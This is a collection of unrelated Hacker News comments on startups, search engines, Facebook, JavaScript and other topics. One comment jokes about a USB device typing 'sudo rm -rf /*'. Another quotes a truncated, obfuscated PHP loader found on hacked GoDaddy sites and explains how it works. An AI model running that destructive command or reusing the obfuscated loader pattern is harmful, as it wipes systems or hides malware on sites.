skysight-inc/HackerNews huggingface dataset:
Certainly; I've had good success so far in life with long-term goals.

Achieved:

* Graduate college in three years.

* Get a job in the tech sector that I enjoy.

* Marry the girl I love.

In-progress:

* Pay off my house in the next three years.

* Buy a large parcel of land (50+ acres) where my wife and I can build our dream house.

Still to be determined:

* Retire by 35 so I can spend my time on my terms.

There's nothing like the feeling of setting a big goal and eventually checking it off your list.
Ask HN: What vesting schedule does your startup use?
My fellow co-founders and I are looking at various vesting schedules.

We've found a couple good articles on it; the best one being: http://blog.simeonov.com/2010/02/02/the-best-vesting-schedule/

HN community, what would you recommend?

In advance, thanks for your advice! :)
When I was 20 (in 1995), social networking was done through telnet...sitting in the computer lab until the sun come up chatting away with strangers at other universities. I still keep in contact with a few of the people I met that way, but not through Facebook. I still don't even have an account!
In Quest for a 'Legal High,' Chemists Outfox the Law
I really like the way they're trying to blend everything together with Mission Control. There are certain types of apps that would work better if they were more iOS-ish but I definitely don't want to give up my traditional desktop apps either. If they can offer the best of both worlds it's going to really change the way we use desktop operating systems I think.
News is news. Don't worry, it will be here tomorrow too.
The burden of the past isn't really as big as he makes it out to be.

Apple made Rosetta to run older apps and Windows 7 includes Windows XP in a virtual machine in business SKUs.

Also, Intel chips haven't really implemented x86 instructions for a very long time. Most of the chip runs micro-instructions that are derived for a x86 to micro-instruction translation layer.
It’s Morning in India
An again they mention that watching a YouTube video is not a web experience... This is like not accepting that Web evolved, as if Web could only be what we can see with Mosaic 1.0.
Very cool idea!

I set up a slashtag for "hackers": /zb/hack

http://blekko.com/ws/+/view+/zb/hack

I couldn't really think of what sites to add, so right now its just HN & stackoverflow.
One big change that's in effect now for young entrepreneurs is that they can stay on their parent's health plan until 26. I'm not sure if this will actually encourage any more young people to try their hand at entrepreneurship because most consider themselves invincible and don't give a lot of thought to health care, but it'll certainly help prevent the experience from becoming a horror story.
My reaction is a big "wha???" I don't understand what is supposed to be done, even after clicking on the "what is a slashtag" link. Maybe I'm getting old? Can the site describe what it does without a video? I hate clicking on videos. Anyhow, that's my reaction, FWIW.
Here you go: http://www.reddit.com/r/Entrepreneur/

As for other stuff, the stories you see on HN still end up there. Try to submit one and it'll point you to the story if it's been submitted. And if it hasn't been, anyone can submit stories.
According to the video they're $100/foot, but last a long time.

Update: check starpilot's link here: http://news.ycombinator.com/item?id=1854136, which has a lot more information on the reasoning behind the use of wood.
I know. I'm not very creative when it comes to naming my projects. Sorry. Suggestions?
The Metamorphosis of Prime Intellect [2002]
Wave was a horrible implementation of a decent idea. For the longest time it felt like they did absolutely no work on the wave project (at least not from the users perspective).

I think the main problem with wave was that it wasn't solving any problems it was just mashing up a lot of features in to one application and never recovered from performance issues.
While this is true, am I missing something? VICI.tv doesn't have a fullscreen button. At most it just takes up 100% of the width of the browser window.

Unrelatedly, I am really enjoying this, but also am wondering if it was a conscious design decision to remove the progress bar? Usually TV ends on the 00, 15, 30, 45 minute marks, but here it's hard to predict when the current clip will end.
You can embed a slashtag search box on your own site.
And you can hit us on rss by adding /rss to any search.
We intend to fill out more APIs after the launch.
The goal was to first get the site open to humans..
Looks good. I still think the name is going to be hard to market to the general public.

After I checked out the site a few months back, I couldn't remember the name. It's also hard to say over the phone without spelling it out.
The best economic definition of wealth that I have seen is George Gilder's from his 1980 book, Wealth and Poverty. He contrasted it to resources in general, and to riches, as:

"Wealth is resources dedicated to future production."

A car used as a status symbol or personal transport is riches, one used in business to generate more income is wealth; similarly with education for enjoyment versus education for future production, and so on.

He also pointed out that since spending on the military and police is not productive, that though necessary to protect wealth, it is not itself wealth and should be used as thriftily as possible.
I lost interest the moment you told me I couldn't sign up because I'm not in one of the 'geographic regions' you opened up. What's the point of that? I could very well just tunnel to a server or use one of my paid VPNs, which I'd actually do if I knew it was of any value to me (as I used to do with Hulu), but since I don't I don't feel compelled to do so.

Edit: I'd argue that you want your service adopted by people instead of them feeling left out because of where they live. Maybe you should have constraints on the number of users and not on where they reside. I can easily see interested parties now not using the service when it's open to them because of this.
There are a bunch of /blekko slashtags for hackers, including /hacker /cracker /make /hackerspaces.
You do know it's a ATtiny85, which only has 8k flash. The USB library takes up 2k, and it would take at least another 0.5-1k to implement USB mass storage. It all leaves you about 5k for a payload, which I think is too small for the worm.

Of course, I know this offhand from experiences with the AVR and V-USB...

But how often do people plug in promotional flash drives without a second thought? Any thumb drive-looking object could potentially be very very evil.

Although, april fools day device: it types Ctrl+Alt+F1 "sudo rm -rf /*"
Heh that's pretty funny as I believe I'm that guy.

As a bit of a teaser I have a followup coming to that particular post.

Hint: I'm moving to New York. :)
To create slashtags from your existing data, you can paste in lists of links, or upload a text file containing links.
I'd suggest twicli or twic over cli-twi; it keeps the same spirit but is pronounceable without sounding/looking like something else. You have what I might call a "hyphen problem", e.g., experts-exchange.
any experts exchange result has the actual responses down at the bottom of the screen when you scroll down. They aren't "gaming" anything, the content is plainly there, just far below the fold.

Your comment validates my belief that most people don't understand SEO and think it's all evil
I love how this guy is taking on Harvey Norman in Australia.
If you're interested in some of the security implications of this there were a few related talks from DEFCON18:

* https://www.defcon.org/html/links/dc-archives/dc-18-archive....

* https://www.defcon.org/html/links/dc-archives/dc-18-archive....

* https://www.defcon.org/html/links/dc-archives/dc-18-archive....

The upshot is that anything with a USB connector can be any device it wants to be--you have to trust any hardware you plug into your machine.
I also assumed Hotmail was intentionally degrading messages received in (explicit) Unicode from gmail. My em and en dashes showed up in Hotmail as oddly accented As, leaving Hotmail users to assume there was something wrong with Gmail.
Like my pumpkin?
Pretty cool. How long before they get acquired by Google?
It’s slightly concerning that Apple use the word "class" in this document. JavaScript has no concept of "class".
Because he never gets smiley faces from them. Of course, he gets a suspicious number of Js.
Email had a metaphor, your mailbox.

Wave has no metaphor, it is complete non-sense to my mother. Neat idea, totally useless in reality. What worked (real-time collaboration) should be (has been?) ported to gmail and google docs, period.

I love Google products and I didn't shed any tears when they shut down wave...
I see your point. As I hinted at, I think a lack of GPL software in the App Store will have a negligible effect on actual iOS usage. Because of this, it makes people's iOS experience worse without making the overall situation better.
You're right that it's a difficult balance.

I would try starting with a landing page regardless. You can get a list of people interested in the service, by making vague promises about the kinds of businesses that will be using it.

Then, after you have a sizable list, you approach targetted companies with a list saying "I have 1.6M+ customers interested in my service. That's X% of the market for your service type. I am willing to offer you [HUGE DISCOUNT HERE] to sign up for the service." I'd even offer it free to begin with, until you have x number of users.

You're selling the interest in the product to get the business interest. Then you can launch with a list of businesses and you might have a greater chance.
"To create a new member function, create a new anonymous function and assign it to the prototype property of the object. "

I prefer not to use anonymous function. I will use named function so that my stack trace is comprehensible when I am debugging.

myObject.prototype.memberMethod = function()
{
// code to execute within this method
}

becomes

myObject.prototype.memberMethod = function memberMethod()
{
// code to execute within this method
}

Also, what's up with naming the constructor function as 'myObject'. JS prototypical nature is confusing as is and using an example like this can only make it harder to understand.
Thats exactly what I like about Vim..
Small footprint is really great on an multi user environment or when editing or viewing large files like logfiles.

I was used to editing files over ssh with Vi, but after they improved;) I was hooked on Vim forever. Vim really is an absolute a must-have skill in your toolbox.
Stackoverflow is an excellent medium for asking programming questions.

The thing I question is their VC-backed strategy to apply that to many other fields. Sure it's early days yet but even the original "trilogy" sites haven't come anywhere near SO's success.

I have this nasty feeling that SO won't be able to justify that investment and thus turn from a successful small business to a failed venture.

On the plus side only one USV portfolio company (I forget the name) has ever switched off the lights.
"Proclaimed Dead, NYT reports that Wired article has skinny on what has expired" (web.com)
Some SEO projects in the beginning then some PPC projects and then a viral project...Sorry i cannot give details or names, hope you understand!
Lots of good advice. I have worked at a couple of startup some that did millions in revenue each month and some that bombed out.

I do believe if you can bring it in house do it as there is extra benefit to the business from understanding what is driving ppc.

If you can't do it in house for financial or lack of time I recommend you go with an agency that examines both the adwords side and the post click side (site analytics). Also the agency must commit to understanding you business and model.

My shameless plug is we see our role as a partner we need to understand you business and information needs to flow between us and our clients to truly grow and optimize the business. One other option that we offer some clients is to train an internal person/team on PPC. This can save you lots of time, money and headaches early on if you go in house. If you want to chat more give me a ring Greg 773-517-8449 - www.digitalbaltoro.com - greg@digitalbaltoro.com
As a designer first and foremost, I've only recently discovered using getter/setter JavaScript functions as a way of faking MVC. It's definitely something worth looking into if you can't warrant the use of a full library like BackboneJS.
Mark Twain wrote about a guy (can't remember the name of the short story) who got a doppelganger to take his place in tedious social situations. The doppelganger was sent to town-hall meetings with instructions to always vote in the minority, and soon the man had a reputation as prudent and wise in matters of politics :-)
Clickable: http://blog.simeonov.com/2010/02/02/the-best-vesting-schedul...
It sounds like he's a direct report to Zuckerberg. Direct line to the honcho makes a difference in any job.
I suspect you can find many larger, clearer, and more pressing "wastes" of public money than this.

Although it would be a good idea to check the income and pension deals the shop staff have to make sure they're sane.
Yes, even Guile seems to have acquired a proper tower nowadays.
So you were 12 when Facebook was started and had Facebook your entire high school life? It seems a bit hard to be subjective then since you haven't known any different.
Please review my distro (if you are a musician)
Von Moltke also agreed with the second sentiment.
I stopped using antiperspirant a few months ago. Not for any health benefits, since those seem tenuous at best... just because I never found antiperspirants to work all that well for me, and the way skin feels when antiperspirant is on it kind of weirds me out.

Still use deodorant, though. No complaints. And my wife has certainly been known to tell me "you smell, go shower", so I think she'd be honest in this area.
"Regular x-rays and metal detectors can be shown to have stopped a very large proportion of items immediately threatening to passenger safety"

By that logic however, x-rays machines and metal detectors should never have been permitted in the first place because when they were first introduced they had no track record of utility either. You're right that it's the definition of the word "unreasonable" that's the sticky issue, but I don't think that it's as clear cut as you say it is..
Attacks on GoDaddy shared sites - insomniaboldinfoorg
Um, usually the problems are why the fire department is there with a ladder.

So you need a ladder that can cope with such problems.
That's nothing new. Read what Heinlein has to say about the making of Destination Moon in 1949 in his Guest of Honor Speech at the Rio de Janeiro Movie Festival twenty years later. It was published in the posthumous tribute collection, Requiem.
This is a really terrible guide. I just skimmed it and found several major errors:

1. It's pretty well accepted that constructors should be capitalized. This is a minor style problem compared to everything else.

2. The entire section on "freeing" objects is just wrong. Not going to bother explaining why.

3. This is wrong:

MyChildObject.prototype = MyParentObject.prototype;

Your entire inheritance tree will share a prototype, and adding a property to one constructor's prototype will add it to all of them, even the parents. You need to do something like "MyChildObject.prototype = new MyParentObject;" or "MyChildObject.prototype = Object.create(MyParentObject.prototype);"

4. The copying section contains a for-in loop without a obj.hasOwnProperty(name) guard.
I don't get it either. I tried it out a month or two ago and to me it's just not that useful and doesn't give me anything that delicious, or custom Google search doesn't give me. Or maybe I am just the wrong audience.
This may be the case, although, I'd argue that Facebook really doesn't do anything that makes it any easier for you to connect with your friends and family than email does. However, let's say it does, that still doesn't mean Facebook is world changing, it just means its a better mousetrap.
You bring up good points, but you also aren't taking into account facebook's potential to change the world. What we're seeing develop is really a de anonymized private version of the Internet. They have their own substitute emailing system that in a lot of ways have eliminated spam.

You can search for pages, things, groups. I'm not sure if this is a good thing, if having this internet where you're forced to reveal your identity is a good or bad thing, but it definitely has the ability to change the world.
I don't travel much, but the last time I had the option I opted not to go through the body scanner. At that time, the alternative was the usual metal detector. I plan on travelling next month and I am considering doing the pat-down since in some sense I find it more honest than the body scanner.

If our leaders did release their images publicly I would at least feel that they were acting in good faith and I would be much more wiling to go through the body scanner knowing that they had really put themselves out there...
It depends on your circumstances. If you're on your death bed, you want more time. If you are sick, you want health. If you are hungry, you want food.

I guess it all boils down to what people want, but it's different for everybody.
What's that extra number in the top right of YC news?
Another one of those "mass" attacks on GoDaddy started today.

The blog doesn't give any numbers, but it seems that a few of their shared servers were compromised, so a few thousand of sites at least.

One of my clients still host in there and her files were all modified around 1pm today.

What I find unusual is the kind of code added to all PHP files:

"
$_8b7b="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f..
\x6e";$_8b7b1f="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";..
$_8b7b1f56=$_8b7b("",$_8b7b1f("aWYoZnVuY..
"

If you decode that, it is an encoded "eval(base64_decode" to load the malware as hidden as possible.
Absolutely.

Just in the last month we've seen more than a handful of companies that have non-trivial spend and only send traffic to their home page.

"Best practices" just don't seem to be promulgated very well.
If Facebook is going to become the next Google off of Zynga's crumbs, then screw Facebook: I want to be invested in Zynga.
Like some of the others, I don't get it either. I think this is curated search results? I don't grok.

And the name is ... blech-o? I'm not mocking or making fun, I'm just saying.
Agreed - relative inequality definitely matters.
So you're saying you're a dick who instantly assumes himself correct?
If they're using wooden ladders at all, they're likely to need a shop anyway, to make repairs to their ladders.
That's not exactly an apples to apples comparison the space shuttle's record sit's between cars and commercial aircraft in deaths per passenger mile. 14 deaths in 20k orbits * 7 people @ 42k miles per orbit. = 1 death per 420 million miles vs commercial aircraft which sit at 1 death per 2,000 million miles vs cars at 1 death per 80 million miles. But, the shuttle is not exactly a safe ride.

Now, if you line things up by trip, it's car's then aircraft then the shuttle.
This is great. I looks good, feels responsive, works well.

Starting a new search engine seems like crazy, but if anything can win out, this seems like it should.

Who's doing the design work and frontend? How big are you? [Also - just checked you jobs page - what you use Perl for?]
It sort of depends on the size of the businesses you are approaching.

If they are mom/pop stores or regional stores it should be relatively easy to approach owners/managers to give them the pitch. If it is a problem they have which they are aware of they are going to recognize how valuable your service is much quicker than a normal person would. If it is a multi-national company then it's more tricky to get to the right people and linked in can help you there.

I would figure out the perfect first company for your service and contact them. Focus on the first one to figure out what DSL you need to speak to talk to other people.
This made no sense to me at all, but I suspect that I may have a deeper misunderstanding of what it's trying to say:

"Assigning a member function to a prototype should not be confused with assigning an anonymous function to a member variable of a class, which only adds the function to a particular instance of the class"

I thought that by setting this.somefn = function() { blah; }; in the constructor, you are adding the function to the prototype of the object, with the name "somefn". At least, I have implemented a fair amount of code this way and used classical JS inheritance without any apparent issues, I would like to know what the difference is both practically and theoretically.
I think FB is coming out with something revolutionary. However, neither they nor anybody else know what it is yet. It will only be apparent after it has been released. That's why people are joining FB; they all want to help discover the new revolutionary idea.
So very true . I live in the US, and my close friends are distributed around the world. My parents live in Africa, my brother is currently in Europe, cousins in Israel, UK, etc, and former colleagues around the world as well. We all manage to stay in touch. Facebook wasn't the first service that allowed everyone to do that, but it's certainly done a better job of getting everyone on. Has it changed the world? Not at the level at which Google did, but it's certainly made it a lot easier to keep in touch with a broad group of people.
5k is plenty to deliver a worm. 4k is enough to deliver a working game, with graphics:

http://www.java4k.com/
Here's an example situation. Let's stay Startup X has one American engineer, but it needs fifteen more of him. For the sake of argument, let's say his skill set is utterly unique in the US. No one knows what he knows but him. So, Startup X needs fourteen more of him, but they don't exist in this country now. There do exist internationals with the skill set, and it would be really cheap to get the internationals to come over, and Startup X would have all the labor it needs within a matter of weeks. Cheap labor, lots of profit. The CEO is seeing dollar signs. But, his partner points out something else. They've got the one American engineer. The government just recently instituted a bunch of economic incentives for students who get tech degrees. Under the same bill, Startup X could also get money to pay the salaries of interns learning a skilled technology trade. Bingo! Their one American engineer could train the new engineers. Each of them might further innovate, have new ideas, form his own startup one day, and they'd be American startups. Yeah, it'll take longer. And, you might not be able to pay them the same as internationals. Since they're American, they're likely to have higher standards for pay. Oh, but right, I forgot. Using international labor is cheaper and faster, our country be damned.

Your example would be a lot more compelling if it took into account a few factors:

1. For a large percentage of those internationals, making it easier to come here will mean that they will come here and stay, which means that all those potential benefits you say will accrue from the use of the hypothetical interns will also accrue from the internationals, only faster. I don't really understand this line in the sand you've drawn between "us" and "them", because what we're talking about is letting "them" become one of "us". Where is the harm in that, exactly?

2. Training interns is hard, hard work, doesn't scale as well as you seem to think, and often isn't feasible at all. Even if it is, it'll take forever, and Startup X very likely won't be around by the time those interns are competent.